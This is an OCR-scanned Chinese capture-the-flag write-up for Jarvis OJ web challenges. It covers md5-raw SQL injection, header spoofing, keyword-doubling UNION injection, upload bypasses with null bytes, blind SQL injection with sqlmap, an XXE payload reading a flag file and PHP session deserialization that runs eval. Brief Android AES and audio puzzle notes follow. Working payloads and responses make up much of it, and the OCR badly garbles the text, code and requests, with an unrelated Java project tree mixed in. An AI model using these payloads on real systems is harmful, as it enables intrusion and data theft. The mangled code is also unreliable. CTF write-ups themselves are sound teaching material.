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Login

G —ANAME, BEERA, 2808, 2 hintHint: "select * from “admin® where

password="".md5($pass, true).

FLEETE, 3
FL N\ 57 i ffifdyop i #lflag

LOCALHOST

F KT localhost access only!! B #:F|H Modify Headers EL# )il I X-Forwarded-For: 127.0.0.1 Bl H]

A S R

9P —ikE R, BEE

‘GET / HTTP/1.1

Host: web. jarvisoj. com:32768
User—Agent: Mozilla/3.0 (Windows NT 10.0; WOV&4;, rv:52.0)
Gecko/20100101 Firefox/52.0

Accept:

text/htnl, application/xzhtml+xnl, application/znl ; g=0. 9, #/#; q=0. &
Accept-Language: zh-—CH, zh;q=0. 8, en-US; g=0. 3, en; g=0. 3
Accept-Encoding: gzip, deflate

Cockie: __cfduid=d921fbfhcafT3a9fTcHifob4d: 1ef0801491049014;
UM_distinctid=15b2975316fa—00b128b038855-1262694a—144000-15b2975
1 3170a0
TConnection: close

Upgrade-Insecure-Requests: 1

Cache—Control : max—age=0

N
"

HITP/1.1 200 OK

Date: Wed, 03 Apr 2017 09:03:29 GNT

Server: Apache/2.4.18 (Unix) OpenSSL/1.0.Z2h PHP/S. 6. 21 mod_perl/Z2. 0. 8-dev Perl/v3. 16.3
X-Powered-By: PHP/5.6.21

Content-Length: 39

Commection: close

Content-Type: text/htnl; charset=0TF-8

<img sre="showing. php?img=cChpZWzklupwZv=="width="100%"/>

2 RIAMbaseb4 g ik, 5 IIX 2 H Fbase64 vV AT & 31
17 1] showimg.php

17 18] index.php

7 shield.php


http://www.ilrose.com/blog/2015/07/08/md5%25E5%258A%25A0%25E5%25AF%2586%25E5%2590%258E%25E7%259A%2584sql-%25E6%25B3%25A8%25E5%2585%25A5/
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KN eregi i8%008 T, JIt LAM4IE b=%0011111
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FLR B R Ealtiit, FHEah—fF, HWNA N 1112 is a nice lab! , ZiFEE, WL AR 1.txt Z£H RS
b, SRERIE 1eihlip ek, S — AN R Dy b iltsed

£ #¥ payload

@ Load URL | http://web.jarvisoj.com:32780/index.php?id=0a&a=php://input&b=%0011111
% split URL

’ Execute

Enable Post data [_] Enable Referrer
Post data 1112 is a nice lab!

@2=E~ AcCookies¥ £ CSs+ =~ @ERY @REEE- EatIas Fimcy FEmr ATE
Come ON!!! {/AHT2mCpcvOLf}
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@l Load URL | http://web.jarvisoj.com:32780/AHT2mCpcvOLf/index.php?id=-1/*1*/ununionion/*1*/selselectect/*1%/1,2,3#
% split URL

» Execute

[] Enable Post data [ | Enable Referrer
@z~ AcCookiesv s CsSv =@~ @EE~ @RAEE- DSk Aoy e ATS~ WESFERE 0%E

3

# % content
@ Load URL http://web.jarvisoj.com:32780/AHT2mCpcvOLf/index.php?id=-1/*1*/ununionion/*1#/selselectect/*1#/1,2,table_name/*1*/frfromom/#*1*/information_schema.tables/*1%*/where/*1*/table_schema=database()#
% splitURL
J Execute

[] Enable Post data [ ] Enable Referrer
@=m~ Acookies~ ¢SS+ [A=sv @ER~ @RmES- @Bty Jmcr Sagr ATE- mEERAE- Wamr O O @

content

¥4id. context. title

@ Load URL | http://web jarvisoj.com:32780/AHT2mCpcvOLf/index.php?id=-1/*1*/ununionion/*1#/selselectect/*1%/1,2,group_concat(column_name)/*1#/frfromom/*1*/information_schema.columns/*1*/where/*1#/table_name=0x636f6e74656e74#
§ splitURL

D Execute

[] Enable Post data [ Enable Referrer
@8~ Acookies™  css~ [l=a~ @EK~ ORTES- @R iR~ SHinr ATR- @EERB- Lt O ¢ @

id,context title
#3%flag
@l Lload URL | http://web.jarvisoj.com:32780/AHT2mCpcvOLf/index.php?id=-1/*1*/ununionion/*1*/selselectect/*1*/1,2,group_concat(id,contexttitle)/* 1*/friromom/*1*/content#
$ split URL
4 Execute

[] Enable Post data [_| Enable Referrer
@2~ AcCookiesv 2 Cssv [I=m~ @B ORASE~ @anhas Finey a8 ATE- mESEAE- 1w O ¢« @

TPCTF{Findlly U got i7 COngRatulation5}hi666

Easy Gallery

ORI —TF, KO8 LR R, JFHRA A e e, b RE

http://web.jarvisoj.com:32785/index.php?page=submit


http://web.jarvisoj.com:32785/index.php?page=submit

SRl AE AL — AN

@& Load URL | hitp://web.jarvisoj.com:32785/uploads/1492048474.jpg

% split URL

Execute

[] Enable Post data [ Enable Referrer
@z~ AdcCookies™ # ss~ [AFm~ @EE- @RmES- Bt Amoy S Fgr ATS- WESHERET Tk

s | o

edjpgeom. .. edjpgeom. .. test. jpg|

[¥ Delete backup?
& MARET D

KRBT R IR Ik uploads , FHCAESCMALE, KEIHIGHIE —FITARY
RN T IHER AN edjpgeom T HAIE
L b A — B S, B

Warning: fopen(uploads/1492049439.jpg.php): failed to open stream: No such file or directory in lopt/lampp/htdocs/index.php on line 24
No such file!

T %00 &M — T

You should not do this!



ZE R BH IR, BHRAGEATE <2php 2> JER, EH%EA <script language="php">phpinfo();</script>
Hiiflag

@l Load URL | http://web.jarvisoj.com:32785/index.php?page=uploads/1492049829.jpg%00
& split URL

* Execute

[ ] Enable Post data [_] Enable Referrer
@z~ ACookiesv # css~ A==~ @EA~ ORIES- Q= Jincr Jas ATSY .

ISCC Home  Submit  View

TF{uplOad_shOuld_n07 b3 a110wed}

Simple Injection
HikE—
I EZ X HAWVSHIH, kBlusernamefs — MEN

This vulnerability affects flogin.php.
Discovered by: Scripting (Blind_Sqgl_Injection.script).
Attack details

URL encoded POST input username was set to if(now()
=sysdate(),sleep({0),0)*" XOR(if(now(}=sysdate(),sleep
(0),0))OR™XOR(if(now()=sysdate{),sleep(0),0))OR"*|

Tests performed:
= ifinow()=sysdate(),sleep(9),0/*XOR(if(now()=sysdate
(),sleep(9),0))OR"XOR(if(now()=sysdate(),sleep(9).0))
OR™/==9.031s
& if(now()=sysdate(),sleep(6),0*XOR(if(now()=sysdate
(),sleep(6),0))OR"XOR(if(now()=sysdate(),sleep(6).0))
OR™/==6.032s
& if(now()=sysdate(),sleep(3),00*XOR(if(now()=sysdate
(),sleep(3),00)OR"XOR(if(now()=sysdate(),sleep(3).0))
OR™/==3.031s
& if(now()=sysdate(),sleep(0),00*XOR(if(now()=sysdate
(),sleep(0),0))OR"XOR(if(now()=sysdate(),sleep(0),0))
OR™/==0.047 s
& if(now()=sysdate(),sleep(0),0*XOR(if(now()=sysdate
(),sleep(0),0))OR"XOR(if(now()=sysdate(),sleep(0),0))
OR™/==0.031s
s if(now()=sysdate(),sleep(0),0*XOR(if(now()=sysdate
(),sleep(0),0))OR™XOR(if(now()=sysdate(),sleep(0),0))
OR™/ == 0.047 s
» iffnow()=sysdate(),sleep(0),0/*XOR(if(now()=sysdate
(),sleep(0),0))OR™XOR(if(now()=sysdate(),sleep(0),0))
OR™/=>0.032s
« iffnow()=sysdate(),sleep(6),0/*XOR(if(now()=sysdate
(),sleep(B),0))OR™XOR(if(now()=sysdate(),sleep(6),0))
OR™/=>6.04T7 s
« ifilnow()=sysdate(),sleep(0),0)*XOR(if(now()=sysdate

e FOVY P S e s e v ol b T e POV R



i\ Hsqlmap2: i, BEHH sqlmap.py -u http://web.jarvisoj.com:32787/login.php
KIAH, Tom R aefE AR s T
sqlmap.py -r D:\LEH\sqlmap\sqlmapproject-sqlmap-aa21550\text.txt

v 2 SimpleSipderDemo V3
v B oore

v [ com.tsj.simple.control
[J] SystemControler.java

v f com.tsj.simple.enumeration
[J] TaskLevel,java

v f com.tsj.simple.iface.crawl
[J] ICrawler.java

w I com.tsj.simpleimpl.crawl
IJ| HttpClientCrawlerlmpl.java
IJ| HttpUrlConnectionCrawlerlmpl java
\J| SocketCrawlerlmpl.java

w IH com.tsj.simple.manager

[J] CrawlerManager.java

I J] WangYiDaiCrawlManager.java I

v i com.tsj.simple.pojos
[J] CrawlResultPojojava
[J] UrlPojo.java

v I com.tsj.simple.utils

w [J] 10Utiljava
@ 1outl

w 1] JsonOperatorUtiljava
{9 JsonOperatorUtl

v [ test

YRI5 H R Fsqimapfiy 24
sqlmap.py -r D:\T.H\sqglmap\sqlmapproject-sqlmap-aa21550\text.txt -p username --tamper=space2comment --dump --

batch
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HSEHA admin/admin i, R BRI # I EHR, 2%
UEFI P 44, 2 H ) 4% I I 2 56 I 2 A
SRJEFIH admin/admin Ut R IL I8 7ORLE AT 54T

W 1/1 RIHR AR AR R, XA LLRNE, XA RN e

[ ) P I D e | B I |
POST /login.php HTTP/1.1 . <meta charset="utf-g">
Host: weh. jarvisoj. com:32787 r <meta http-equiv="X-UA-Compatible” content="IE=edge” >
User—Agent: Mozilla/5. 0 (Findows NT 10.0: WOW&4; rv:32.0) Gecko/20100101 <meta name="viewport” content="width=device-width, initial-scale=1">
Firefox/52.0 <title’Login</title>
Accept: text/htnl, application/zhtnl+xml, application/xml;g=0. 9, */%;q=0. 8
|Accept-Language: zh-CN, zh;q=0. 8, en-U5;g=0. 5, en; q=0. 3 I— Bootstrap core CS85 ——>
Accept-Encoding: gzip, deflate <link href="//cdn. bootess. con/bootstrap/3. 3. 5/css/bootstrap. nin. css”
Referer: http://weh. jarvisoj. com:32787/login. php rel="stylesheet”>
Cookie: __cfduid=d921fbfbc4fT3a9fTcAfAb4d220def0801491049014; !—— Custom styles for this template —>
TUH_distinctid=15b2975316fa-00b128L038855-1262694a—144000-15b29753170a0; <link href="css/signin. css” rel="stylesheet”>
role=sh3A5%34%22guest%22%38; hsh=3a4727d57483f122833d9e732f94e4e0; </head>
PHPSESSID=15581329n5h1nenhgabl s56kul
Connection: close <body>
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www—forn—urlencoded <div class="container”>
Content-Length: 31
<form class="form—signin” action="" method="POST >
usernane=adnin’ #&password=adnin <h2 class="forn—signin-heading” *Please sign in</h2>
<label for="username” class="sr-only">Username</label >
<input type="text” id="username’ name="username”
class="forn—control” placeholder="Usernane” required autofocus>
<label for="passvord” class="sr-only" *Password</label>
<input type="password” id="password” name="password”
class="forn—controel” placeholder="Password” required>
<div class="alert alert-error”> <a class="close”
data-dismiss="alert”>X</as{strong >R/ strong»</div> <khutton
class="btn bin-lg btn—primary btn-block” type="subnit”>Sign ind/button>
<fform>
<fdiv> <!-- fcontainer ——»
</body>
</htnl>
ATLMER * #
= L . . . = . . . . .
POST /login. php HTTR/1.1 : <meta charset="utf-8">

Host: web. jarvisoj. com:32787

User-Agent: Mozilla/5.0 (Windews NT 10.0; WOW64 rv:52.0) Gecko/20100101
Firefox/52.0

Accept: text/htnl, application/zhtnl+xnl, application/zmnl;q=0. 9, #/#;q=0.8
Accept-Language: zh-CN, zh;q=0. 8, en-US; q=0. 3, en; g=0. 3

Accept—Encoding: gzip, deflate

Referer: http://web. jarvisoj. com:32787/login. php

Cookie: __cfduid=d921fbfbe4fT3a9f7c6f8b4d220def0B01491049014;
UH_distinctid=15h2975316fa-00b128b038855-1262694a-144000-15h29753170a0;
role=s%345%34%22gues t%22%38; hsh=3a4727d57463{122833d9e732{94edel;
PHPSESSID=15581329n5hlncnhgabl s56kul

Comnection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/z—www—forn—urlencoded

Content-Length: 38

username=acmin’ or 1=1#&password=admin

<meta http—equiv="¥-UA-Compatible” content="IE=edge”>
<meta name="viewport” content="width=device-width, initial-scale=1">
<title’Login</title>

!—— Bootstrap core CS§ —>
<link href="//cdn. bootcss. con/bootstrap/3. 3. 5/css/bootstrap. nin. css”
rel="stylesheet”>
!=— Custom styvles for this template ——>
<link href="css/signin. css” rel="stylesheet”>
</head>

<body>
<div class="container”’>

<form class="form-signin” action="" method="POST">
<h2 elass="form—signin-heading” *Please sign in</h2>
<label for="username” class="sr-only”>Username</label>
<input type="text” id="username” name="username”
class="forn—control” placeholder="Username” required autofocus>
<label for="passvord” class="sr-onlvy”>Password</lahel>
<input type="password” id="password” name="password”
class="forn—control” placeholder="Password” required>
<div class="alert alert-errvor”> <a class="close”
data—dismiss="alert” X </a><strong > P &R/ strong < /div>
class="btn btn-lg btr—primary btn-bleck” type="submit”>Sign in</button>
</form>
<fdiv> <I— /fcontainer ——»
<fhody>

<butten
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POST /login. php HTTP/1.1

Host: web. jarvisoj. com:32787

User-Agent: Mezilla/5.0 (Windows NT 10.0; WOW&4; rv:52.0) Geclko/20100101
Firefox/52.0

Accept: text/htnl, application/zhtanl+xml, application/xnl;q=0.9,#*/#;q=0. 8
Accept-Language: zh—CN, zh:q=0. 8, en-US;¢=0. 3, en; q=0. 3

Accept-Encoding: gzip, deflate

Referer: http://web. jarvisoj. con:32787/login. php

Cookie: _ cfduld=d921fbfbe4fT3a9fTc6f6b4d220def0801491049014;
UH_distinectid=15h2975316fa-00b128h0368855-1262694a—144000-15k29753170a0;
role=s%345%34%22gues t%22%3E,; hsh=3a4727d57483f122633d9.732194e4.0;
PHPSESSID=15581329n5hlnenhgabl s56kul

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/z-www—forn—urlencoded

Content—-Length: 46

username=acmnin’ /[l or /#1#/1=18&password=adnin

RILA FETRHRILE T

POST /login.php HTTE/1.1

Host: web. jarvisoj. com:32787

User-Agent: Mozilla/5.0 (Windews NT 10.0; WOW64 rv:52.0) Gecko/20100101
Firefox/52.0

Accept: text/html, application/zhtnl+xml, application/znl;q=0. 9, */*;q=0.8
Accept-Language: zh-CH, zh;q=0. 8, en-US;q=0. 3, en; g=0. 3

Accept-Encoding: gzip, deflate

Referer: http://web. jarvisoj. com:32787/login. php

Cockie: _ cfduid=d921fbfbc4fT3a9fTc6f6b4d220def0501491049014;
UH_distinctid=15b2975316fa-00b128b038855-1262604a-144000-15b29753170a0;
role=sh345%34%22guest%22%3E; hsh=3a4727d37463f122833d9eT32f94e4e0;
PHPSESSID=1558£329n5hincnhgabl s56kul

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x—www—forn—urlencoded

Content-Length: 67

username=adnin’ /#1#/union/*1+/select/*1#/database O f&password=adnin

BRI, H— RO TFFHBA L0
ST TR — T ERA

admin'/*1*/or/*1*/exists(select/*1*/*/*1*/from/*1*/admin)#

iR A, UL admink

<meta charset="utf-8">

<meta http—equiv="¥-UA-Compatible” content="IE=edge”>

<meta name="viewport” content="width=device-width, initial-scale=1">
<titlerLogind/title>

!—— Bootstrap core CS5 —>
<link href="//cdn. bootcss. con/hootstrap/3. 3. 5/css/bootstrap. nin. css”
rel="stylesheet” >
!-— Custom styles for this template ——>
<link href="css/signin. css” rel="stylesheet”>
</head>

<body>

<div class="container”>
<form class="form-signin” action="" method="POST">
<h2 class="formn—signin-heading” *Please sign in</h2>
<label for="username” class="sr-only">Username</label >
<input type="text” id="username” name="username”
class="formn—control” placeholder="Usernane” required autofocus>
<label for="password” class="sr-only” >Passward</label >
<input type="password” id="password” name="password”
class="forn—control” placeholder="Password” required>
<div class="alert alert—error”> <a class="close”

data—dismiss="alert” > </a>{strong > ¥ iR/ strong»</div> <button
class="btn bti-lg btnprinary btn-block” type="subnit”>Sign ind/button>
</forn>
<fdiv> <!—— /Jcontainer ——>

¢meta nane="viewport” content="width=device-width, initial-scale=1">
<title’Login</title>

!=— Bootstrap cere CS5§ ——>
<link href="//cdn. bootcss. con/bootstrap/s. 3. 5/css/bootstrap. nin. css”
rel="stylesheet” >
I—— Custom styles for this template —>
<link href="css/signin. css” rel="stvlesheet”>
</head>

<hody>

<div class="container”>
<form class="form-signin” action="" method="POST">
<h2 class="forn-signin-heading” *Please sign in</h2>
<label for="username” class="sr-only” *Username/label >
<input type="text” id="username” name="usernams”
class="form—control” placeholder="Username” required autofocus>
<label for="passvord” class="sr-only” *Password</label>
<input type="password” id="password” name="password”
class="forn—control” placeholder="Password” recquired>
<div class="alert alert-errvor”> <a class="close”
data—dismiss="alert”>X</a><strong > ¥4 iR /strong></div><div class="alert
alert-error”> <a class="close”

data—dismiss="alert”>X</a><strong »¥IHEH iR /s trong»</div> <button
class="btn btn-lg btn—primary btn-bleck” type="subnit”>Sign in</button>
</forn>
<fdiv> <!—— /Jcontainer —>
<fhody>
O S Y

admin'/*1*/or/*1*/exists(select/*1*/username,password/*1*/from/*1*/admin)#

EhLAREE, VA username. password %l

admin'/*1*/or/*1*/exists(select/*1*/count(*)/*1*/from/*1*/admin)# Wi RG —AH 4 5105

AERKET, HERERK M, JHREAE






[ —
[

Pl ek

1.
1
1.
1
1.
1
1d¢
1
1.
1
1.
1d5
1.
1d5
1.
1
1i

ARG ERARZIIRIANS, RIGHE T TRE, K232, o Fmd5is

FEERRT |

B : 334cfb59c9d74849811d5acdcfdaadc3
fREEER - eTAIOCTEP

BNEERY - md5

AT - 2221=R)



& B B AT

Please sign in

Username

Password

flag:CTF{s1mpl3_1nJ3ction_very_easy!!}

Sign in
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{
xhr;
{xhr = XMLHttpRequest();}
(e) {
IEXHRVers =[ »
( i=",len=IEXHRVers.length;i< len;i++) {
{xhr = ActiveXObject(IEXHRVers[i]);}
(e) { s

{

evil_input = document.getElementById( ) .value;
xhr = XHR();
xhr.open( ) )5
xhr.onreadystatechange = {
(xhr.readyState==" && xhr.status== ) {
data = .parse(xhr.responseText);
tip_area = document.getElementById( )5
tip_area.value = data.task.search+data.task.value;

.setRequestHeader(
.send( +evil input+

T I o A B ) JSARRS BT AATE X A XHLY &R, i i 25 ) 58 Rk
(https://[segmentfault.com/a/1190000002782175)

A PARITE % T Ajaxiiz
(http://open.chrome.360.cn/extension_dev/xhr.html)



https://segmentfault.com/a/1190000002782175
http://open.chrome.360.cn/extension_dev/xhr.html

mne

POST /api/vl.0/try HITP/1.1

Host: web. jarviso]j. comn:9882

Content—Length: 36

Origin: http://web. jarviso]. com:9882

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; z64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/54.0.2840.87 Safari/337. 36
Content—Tvpe: application/zml

Lecept: */*

Referer: http://web. jarvisoj. con:9882/

Accept—Encoding: gzip, deflate

Lccept-Language: zh—CN, zh; q=0. 8

Coockie: __cfduld=d7d82cE791cB75eT968d4624428500a911474369444

{"search”:"tyvpe sth!”, "value”:"own"}

XA T xhr.readyState==4 2724 G
ST XML B ik
(Chttp://blog.csdn.net/u013224189/article/details/49759845 )

xml entity W] LLEZHANE SO, I Stentityff I AH 25 T SC4 R AR &R 5| HI AR SCA

Fﬁ

B D R A AT D B S IR ST AR I A L, AR A A JujsonfEL U SR AL 14 IO Bedla s sesCxmls. AR K AT BE R 55
R RATIR D A (xR A AT A8 1)

No
N

15 % payload:



http://blog.csdn.net/u013224189/article/details/49759845

4 Content - Type: application/json Hjsontxml, 7] Lk AR 45 25 ff BT XML

ifi it Burpsuite {415 Flflag

Request

J Raw T Params I Headers T Hex [XML 1

Response

J Raw [ Headers I Hex TKML 1

POST /api/vl.0/try HTTP/1.1

Host: web. jarviso]. com:9882

Content-Length: 159

Origin: http://web. jarvisoj. con:9882

User—Agent: Mozilla/5. 0 (Windows HT 10.0; Winf4: =64)
AppleWebKit/537. 36 (KHTML, like Gecko) Chrome/56.0.2924.87
Safari/537. 36

Content-Type: application/zml

Accept: /%

Referer: http://web. jarvisc]. com: 9882/
Accept-Encoding: gzip, deflate

Accept-Language: zh—CN, zh;q=0.8

Connection: close

<?xnl version="1.0" encoding="I150-8859-1"%>
<IDOCTYPE foo [

<!ELEMENT foo ANY >

CIENTITY xxe SYSTEM “file:///home/ctf/flag. tzt” >]
<foorlzxe;</foo>

PHPINFO

TIPS

o

HTTP/1.0 200 OK

Content-Type: text/htnl; charset=utf-8
Content-Length: 42

Server: Werkzeug/0. 9.4 Python/2.7.6
Date: Fri, 28 Apr 2017 12:17:53 GNMT

<foo>CTF {XxE_15_n0T_STrange_Enough}
<ffoo>

KR —TEPHPFF I IR R, = FhRBan N 4 >
Chttp://www.tuicool.com/articles/zEfuEz)


http://www.tuicool.com/articles/zEfuEz

Ak 4% X IS PR A7 il A 5K

php A + Bk + 23 serialize() BHUR T AL HR I (H
php_binary B KX L) ASCI F#5F + #4 + &0 serialize() w6 %55 51 AL B (i
php_serialize(php>=5.5.4) 221! serialize() B8 PP 91 AL BE S0

B S AR T RO
B4 test.php

® localhost:8080/test.php?a=|0:9:"Ni9htMar3":1:{s:4:"haha";s:15:"echo%20"Hacked!"}";}

testl.php

o C 0 @ localhost:8080/test1.php
2 wm (& == G Google & FRit MOOC

Hacked!

Xt Hacked 1)

Jekit—A> bAL S
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request

Raw | Params | Headers | Hex

response

Raw | Headers | Hex

°0ST / HITP/1.1

lost: web. jarviso]. com:32784

lontent-Length: 157293

lache—-Control: maz-age=0

Jrigin: http://localhost:8080

Ipgrade-Insecure—Requests: 1

Iser-Agent: Nozilla/5.0 (Windows NT 10.0; Win64: =64) AppleWebKit/537.36 (EHTNL,
like Gecko) Chrome/56.0.2924, 87 Safari/537.36

Zontent-Type: multipart/form—data;
soundary=———-WebKitFornBoundarv]1BG2YnlWHOMpTI1]]

Lccept:

text/htnl, application/zhtnl+xml, application/xnl; g=0. 9, inage/webp, #/+; q=0. 8
teferer: http://localhost:B8080/2. php

tccept-Encoding: gzip, deflate

tccept-Language: zh—CN, zh;q=0. 8

Zookie: PHPSESSID=pTsmg%ghi TubSnnvkbl facvha

Jommection: clese

****** TebEitFornBoundarylBG2YnNASHRTILTT
lontent-Disposition: ferm—-data: nane="PHP_SESSION_UPLOAD_PROGRESS”

****** TebKitFornBoundarylBG2YnNASHpTIi T

Zontent-Dispositien: form—data; name="file";

filename="|0:5:\"0owo0\":1: {5:4:\ ndzz\";5:27:\"print_r{dirnane(__FILE_)) :\";}1"
lontent-Type: image/pnz
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Z0000BB” »__construct</span><span style="color: 20077007 > <hr
/>&nbsp;&nbsp; &nhsp; &nbsp; {<br

/>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp ; &nbsp; &nbsp; &nbsp; </span><span
style="color: #0000BE">§this</span><span style="color:

20077007 >—&gt; </span><span style="color: #0000BB” mdzz&nhsp;</span><span
style="color: #007700" *=&nhsp; </span><{span style="color:

0000007 > phpinfo () ;7 </span><span style="color: #00TT00">; <hr
/>&nbsp; &nbsp ; &nbsp; &nbsp; } <br /&nbsp; &nbsp; &nbsp; &nbsp; <br
/>&nbsp; &nbsp; &nhsp; &#nbsp; function&nbsp; </span><span style="color:
Z0000BB” >__destruct</span><span style="color: #007700">() <br
/&nbsp; &nbsp; &nbsp; &nbsp; {<br

/>&nbsp; &nbsp ; &nbsp; &nbsp; &nbsp; &nbsp ; &nbsp; &nbsp; eval (</span><span
style="color: #0000BB" >§this</span><span style="color:

20077007 »—&gt; </span><span style="color: #0000BB” mdzz</span><span
style="color: ®00770072) ;<br />&nbsp;&nbsp;&nbsp;&nbsp;} <br /) <br
/2if(isset{</span><span style="color: #0000BB” >$_GET</span><span
style="color: #007700">[</span><span style="color:

ZDD0000" > phpinfo’ </span><span style="color: #007700°>1)) <br /> {<br
/&nbsp; &nbsp ; &nbsp; &nbsp; </span><span style="color:

A0000BB” »$m&nbsp; </span><span style="color:

20077007 »=8nbsp; new&nbsp; </span><span stvle="color:

#0000BB” »00wo0< /spany<span style="color: #0077007:>0 ;<br />}<br /relsedhr
/2 {<br [ &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color:

20000BB” *highlight_string</span><span style="color: 2007700">{</span><span
style="color: #0000BE">file get_contents</span><span style="color:
20077007 > (</span><span style="color: FDD0000">" index. php’ </span><span
style="color: #0077007>)) ;<br />}<br /></span><span style="color:

Z0000BB” »2&gt; <br /></span>

</span>

</code>fopt/lampp/htdacs
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Coockie: PHPSESSID=p7smq9hi Tnb9mnv9kblfaovhl
Commection: close

—————— WebKitFornBoundarylBGZYnNHEMpTI1ITT
Content-Disposition: form—data: name="PHP_SESSION_UPLOAD_PROGRESS”

—————— WebKi tFornBoundaryl BGZYnNHSMpTIi]]

Content-Disposition: form—data; name="file";

filename="[0:5:\"0owo0\":1: {s:4:\"ndzz\";5:38:\"print_r (scandir (\"/opt/lanpp/htdo
esh\) 1N

Content-Type: inage/png
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[a

"L

/>&nbsp; &nbsp; &nbsp ; &nbsp; function&nbsp; </span><span style="color:
#0000BE" »__destructs/span><span style="color: #00TT00">() <br
/>&nbsp; &nbsp; &nbsp;&nbsp; {<hr

/>8&nbsp; &nbsp; &nbsp ; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; eval (</span><span
style="color: #0000BB” >$this</span><span style="color:

2007700" >—&gt; </span><span style="color: #0000BB” >mdzz</span><span
style="color: #00TT0073) ;<br / &nbsp;&nbsp;&nbsp; &nbsp;}<br />}<br
frif(isset{</span><span style="color: #0000BE” >$_GET</span><span
style="color: 0077007 >[</span><span stvle="color:

2DD0000" " phpinfe’ </span»<span style="color: #0077007>1)) <br /> {<br
/>&nbsp; &nbsp ; &nbsp; &nbsp; < /span><span style="color:

#0000BE” »$m&nbsp ; </span><span stvle="color:

2007700" >=&nbsp; new&nbsp; </span><span style="color:

Z0000BE” >00owo0< /span><span style="coler: #0077007>() ;<br />}<br /relsebr
foA<br /o8&nbsp; &nbsp; &nbsp; &nbsp; </ span><{span style="color:

#0000BE” *highlight_string</span>{span style="color: #007700">{</span><span
style="color: #0000BB">file_get_contents</span><span stvle="color:
2007700° > (</span><span style="color: #DDO000">" index. php’ </span><span
style="color: #007700">)) ;<br />}<br /></span><span style="color:

#0000BE” »2&gt; <br /> /span>

<fspan>
<feode Arrav
(
fo] =>» .
[1] => ..
[2] => Here_ls_The_fl4g_buT_You_Camnot_see. php
[3] =» index. php
[4] => phpinfo. php
)

Raw | Headers | Hex

POST / HTTP/1.1

Host: web. jarvisoj. com:32784

Content-Length: 157356

Cache—Control: max—age=0

Origin: http://localhost:8080

Upgrade—Insecure—Recuests: 1

User—Agent: Nozilla/3. 0 (Vindows NT 10.0; Winf4; xz64) AppleWebKit/337.36 (KHTMHL,
like Gecko) Chreme/56.0.2924. 87 Safari/537.36

Content—Type: nultipart/forn—data;

boundary=————WebKi tFornBoundaryl1BG2YnlHEMRTI1 ] T

Accept:

text/htnl, application/xhtnl+xmnl, application/xnl;q=0. 9, inage/webp, */*; q=0. &
Referer: http://localhost:8080/2. php

bccept-Encoding: gzip, deflate

bccept-Language: zh-CN, zh; g=0.8

Cookie: PHPSESSID=pTsmq9ghi Tnh9mnv kbl faovha

Connecticn: close

—————— WebKitFormBoundarvl BG2YnlHEMRTILTT
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS”

—————— WebKitFornBoundaryl BG2VnNHEMp TI1TT

Content-Disposition: ferm-data; name="file”;

filename="|0:5:""00wo0\":1: {5:4:\"ndzz\";5:88:\"print_r(file_get_contents (\"/opt/
lanpp/htdocs /Here_1s_The_fl4g_buT_You_Cannot_see. phph“)) \"; 1"

Content—Type: image/png
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misc100

L

/>&nbsp ; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp ; &nbsp; &nbsp; </span><span
style="color: HOOOOBB™ »§this</span><span stvle="color:
20077007 >—&gt;</span><span style="color: #0000BB" mdzz&nhsp;</span><span
style="color: 007700 >=&nbsp;</span><span style="color:
ZDD0000" > phpinfeo () ;* </span><span style="color: 00770073 ; <hr
/>&nbsp;&nbsp; &nbsp;&nbsp; } <br /*&nbsp; &nbsp; &nbsp; &nbsp; <br
/>&nbsp;&nbsp; &nbsp; &nbsp ; functiondnbsp; </span><span stvle="color:
A0000BB” »__destruct</span><span style="color: 7007700 >() <br
/»&nbsp; &nbsp; &nbsp; &nbsp; {<br
/&nbsp; &nbsp ; &nbsp; &nbsp ; &nbsp; &nbsp; &nbsp; &nbsp; eval (</span>*<span
style="color: HOOOOBB™ »§this</span><span stvle="color:
2007700" >—&gt; </span><span style="color: 20000BB” *mdzz</span><span
style="color: #007700">) ;<br / &nhsp;&nbsp;&nbsp;&nbsp;}<br />}<br
/rif(isset(</span><span style="color: #0000BE”>$ GET</span><span
style="coler: #007TT00">[</span><span style="color:
20000007 > phpinfo’ </span><span style="color: #0077007>1)) <br /> {<br
/>&nbsp;&nhsp; &nbsp;&nhbsp; </span><span style="color:
20000BB” >$m&nbsp; </span><span style="color:
07700" »=&nbsp;new&nbsp; </span><span style="color:
20000BE” »Qowo0</span><span style="color: #00TT00"> Q) ;<br />}<br /relsedbr
S Adhr />&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color:
#0000BB” *highlight_string</span><span style="color: #007700">{(</span><span
style="color: H0000BE”>file_get_contents</span><span stvle="color:
20077007 > (</span><span style="color: #DDO000":" index. php’ </span><span
style="color: HOOTT00"2)) ;<br />}<br /></span><span styvle="color:
#0000BE” >2&gt; <br /></span>
<fspan>
</code><?php

$flag="CTF {4d96e37f4he098c50aa586dedadalsdal ”;
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8 HHAES/ECB/PKCS5Padding, Hlkeytl it FH ANGEAT N, 455 Sflag#s AT HLXT
WU N R

init(Cipher.DECRYPT_MODE, secretKeySpec)

Xflag® SCHEAT i E B AT

flag: LCTF{1t's_really an_ea3y_ap4}

bWz
B A A S, TR B H PR A, RIATX L UNTCIEEARE), RAEL_ BT, B BAWAVE S A ?
Hint1: JRAT R SRR AN B U 31 2

Hint2: fEREE LR R g, FAVEAE 20— B i i 0 g b DA R A 2
godwave.wav.26b6f50dfb87d00b338b58924acdbea

Audacity T T2 — B RS AR T, AFANEE, KIAFRBEHRE A W E 2R, NMiZ2E#iE 7, MATLAB $A wav
NAFERSE, KB L 64 RO, B ABUEE RS 1, IBEIKHN 0.
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